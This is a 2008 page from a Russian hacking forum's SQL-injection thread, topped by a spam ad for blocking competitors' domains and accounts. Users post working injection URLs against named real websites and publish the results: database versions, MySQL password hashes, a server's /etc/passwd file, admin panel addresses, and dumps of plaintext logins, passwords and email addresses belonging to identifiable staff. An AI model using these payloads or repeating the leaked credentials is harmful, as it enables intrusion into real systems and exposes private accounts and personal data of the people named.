УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 445 из 1604

445

Опции темы

Поиск в этой теме

Опции просмотра

#4441

11.01.2008, 01:06

_BIOS_

Новичок

Регистрация: 10.01.2008

Сообщений: 15

Провел на форуме:
95301

Репутация: 11

Отправить сообщение для _BIOS_ с помощью ICQ

Код:

http://www.linspire.com/linspire_letter_archives.php?id=1+and+2=0+union+select+1,concat_ws(0x3a,version(),user()),3,4/*

version : 4.0.27-standard-log
user : linspire@10.0.0.20

#4442

11.01.2008, 02:43

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

Провел на форуме:
686641

Репутация: 205

www.chatelet-theatre.com

Код HTML:

http://www.chatelet-theatre.com/fiche_spectacle.php?id=-146+UNION+SELECT+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

4.1.20:root@localhost:chatelet

Код HTML:

http://www.chatelet-theatre.com/fiche_spectacle.php?id=-146+UNION+SELECT+concat_ws(0x3a,user,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+FROM+mysql.user/*

root:3def4e5361e65bde (user: pass(hash)) (http://www.chatelet-theatre.com/admin/)

Код HTML:

http://www.chatelet-theatre.com/fiche_spectacle.php?id=-146+UNION+SELECT+LOAD_FILE(0x2f6574632f706173737764),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0: operator:/root:/sbin/nologin
...

#4443

11.01.2008, 04:59

1NtR0

Участник форума

Регистрация: 14.04.2007

Сообщений: 197

Провел на форуме:
1122391

Репутация: 209

http://www.dukemednews.duke.edu/news/article.php?id=-801+union+select+1,concat_ws(0x3a,user,password),3 ,4,5,6,7,8+FROM+mysql.user/*

#4444

11.01.2008, 05:05

А®ТеS

Участник форума

Регистрация: 25.11.2006

Сообщений: 291

Провел на форуме:
1537850

Репутация: 536

Отправить сообщение для А®ТеS с помощью ICQ

http://www.sportingwheelies.org.au/

Цитата:

http://www.sportingwheelies.org.au/page.htm?ID=-1+union+select+1,concat_ws(0x3a,login,password),3+ FROM+SW_SITE.security+LIMIT+5,1/*

Админку не нашел, но зато штук десять акков добыть можно (правда нахрен они без админки большой вопрос xD).

#4445

11.01.2008, 08:33

rankor777

Познающий

Регистрация: 11.01.2008

Сообщений: 42

Провел на форуме:
95213

Репутация: 49

Отправить сообщение для rankor777 с помощью ICQ

http://www.naushko.ru/whisper.php?id=36231+union+select+1,2,3,4,5,6/*
Поля подобрал, а что дальше делать - хз

#4446

11.01.2008, 08:52

ice1k

Постоянный

Регистрация: 01.01.2007

Сообщений: 551

Провел на форуме:
4908597

Репутация: 1866

Отправить сообщение для ice1k с помощью ICQ

Цитата:

Сообщение от rankor777

http://www.naushko.ru/whisper.php?id=36231+union+select+1,2,3,4,5,6/*
Поля подобрал, а что дальше делать - хз

Цитата:

http://www.naushko.ru/whisper.php?id=36231+and+1=-1+union+select+1,2,3,concat(email,0x3a,pass),5,6+f rom+users+limit+0,1/*

Пароли там кстати в открытом виде, и аккаунтов за 20к...

#4447

11.01.2008, 11:37

Nea7

Участник форума

Регистрация: 08.09.2007

Сообщений: 211

Провел на форуме:
5076186

Репутация: 778

Цитата:

Сообщение от ice1k

Код:

http://www.naushko.ru/whisper.php?id=36231+and+1=-1+union+select+1,2,3,concat(email,0x3a,pass),5,6+f rom+users+limit+0,1/*

Пароли там кстати в открытом виде, и аккаунтов за 20к...

http://forum.antichat.ru/showpost.php?p=552492&postcount=4446
да и тему от баянов чистить иногда надо...

Код:

http://www.jomacs.org/article.php?article_id=-1+union+select+1,2,concat_ws(0x3a,user_login,password,email,user_id),4,5,6,7,8,9+from+members+limit+0,1/*

Код:

http://www.jomacs.org/article.php?article_id=-1+union+select+1,2,concat(username,0x3a,user_password,0x3a,user_email,0x3a,user_icq),4,5,6,7,8,9+from+phpbb_users+limit+1,1/*

#4448

11.01.2008, 13:43

Nea7

Участник форума

Регистрация: 08.09.2007

Сообщений: 211

Провел на форуме:
5076186

Репутация: 778

http://www.newstalk.co.nz/anndetail.asp?region=1+or+1=@@version
'Microsoft SQL Server 2000
http://www.newstalk.co.nz/anndetail.asp?region=1+or+1=(select+top+1+cast(log in_name+as+nvarchar)%2B%27%3A%27%2Bcast(password+a s+nvarchar)%2B%27%3A%27%2Bcast(email_address+as+nv archar)%20from%20admin_logins)

Цитата:

'rhys:rhys:rhys@webenz.co.nz'
'harrison:harrison:harrison@webenz.co.nz'
'greg:greg:greg.mcnamara@webenz.co.nz'
'brian:barclay333:changeme@sometime.com'
'zb2:wellington:gordonm@radionetwork.co.nz'
'jacqui:jacqui:jacqui.jones@webenz.co.nz'
'philv:zmwel1:philv@radionetwork.co.nz'
'zbremote:grx336:brianb@radionetwork.co.nz'
'helen:superwoman:helenmccarthy@radionetwork.co.nz '
'terabyte:janem:jane@terabyte.co.nz'
'andrew:topping:andrewtopping@radionetwork.co.nz'
'briannews:barclay333:brianb@radionetwork.co.nz'
'andrewt:piccys:andrewturley@radionetwork.co.nz'
'brian2:barclay333:brianb@radionetwork.co.nz'
'affiliates:affiliates:allanlee@radionetwork.co.nz '
'zmonline:zmonline:zm@zmonline.com'
'weatherman:phil:philipduncan@radionetwork.co.nz'
'amante:anything:amante@radionetwork.co.nz'
'zmprogs:tractor:zm@zmonline.com'
'zbhamilton:mooloo:heemih@radionetwork.co.nz'
'davec:zmwel2:davec@radionetwork.co.nz'

http://www.kathyspies.com/anndetails.asp?NewsID=1+or+1=@@version
'Microsoft SQL Server 2000

http://tlcwalford.com/anndetails.asp?NewsID=1+or+1=@@version
'Microsoft SQL Server 2005

http://www.titans-consulting.com/anndetails.asp?id=1+or+1=@@version
'Microsoft SQL Server 2005

#4449

11.01.2008, 14:49

~~it's my~~

Banned

Регистрация: 29.09.2007

Сообщений: 512

Провел на форуме:
4038468

Репутация: 1224

Отправить сообщение для it's my с помощью ICQ

www.respectfamily.com - Respect Records Digital (Drum & Bass)

Код:

http://www.respectfamily.com/index.php?mod=members&op=viewmember&id=-41+union+select+0,1,2,3,4+from+members/*

#4450

11.01.2008, 15:39

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

theplace.ru

http://www.theplace.ru/news/news.php?id=-1+union+select+1,2,3,concat_ws(0x2F,version(),data base(),user()),5/*

5.0.22/theplace/theplace@localhost

http://www.theplace.ru/news/news.php?id=-1+union+select+1,2,3,concat_ws(0x2F,login,password ),5+from+links/*

логин/пароль
baddy13/superior

http://www.theplace.ru/news/news.php?id=-1+union+select+1,2,3,concat_ws(0x2F,login,password ),5+from+models/*

логин/пароль
rukzak/rukzak

-------------------------------------------------------------------------

http://stroiru.com/doc_detail.php?id=-1+union+select+1,concat_ws(0x2F,version(),database (),user())/*

4.0.27/goravtomat_db2/goravtomat_db2@88.214.192.30
-------------------------------------------------------------------------

r-id.ru

http://www.r-id.ru/main/press/news?nid=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4,5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1, 1/*

5.0.32-Debian_7etch1-log/rid/rid@localhost

http://www.r-id.ru/main/press/news?nid=-1+union+select+1,concat_ws(0x2F,email,pass),3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,1,1,1+from+u sers+limit+0,1/*.

мейл/хеш
sinyagin@neolant.ru/35560b3d7e41a43aa12c6d01dc9a5131

Админка: http://www.r-id.ru/admin

Логин/пасс для админки:

http://www.r-id.ru/main/press/news?nid=-1+union+select+1,concat_ws(0x2F,toString,pass),3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,1,1,1+fro m+admins/*

RIDadmin/NoStranger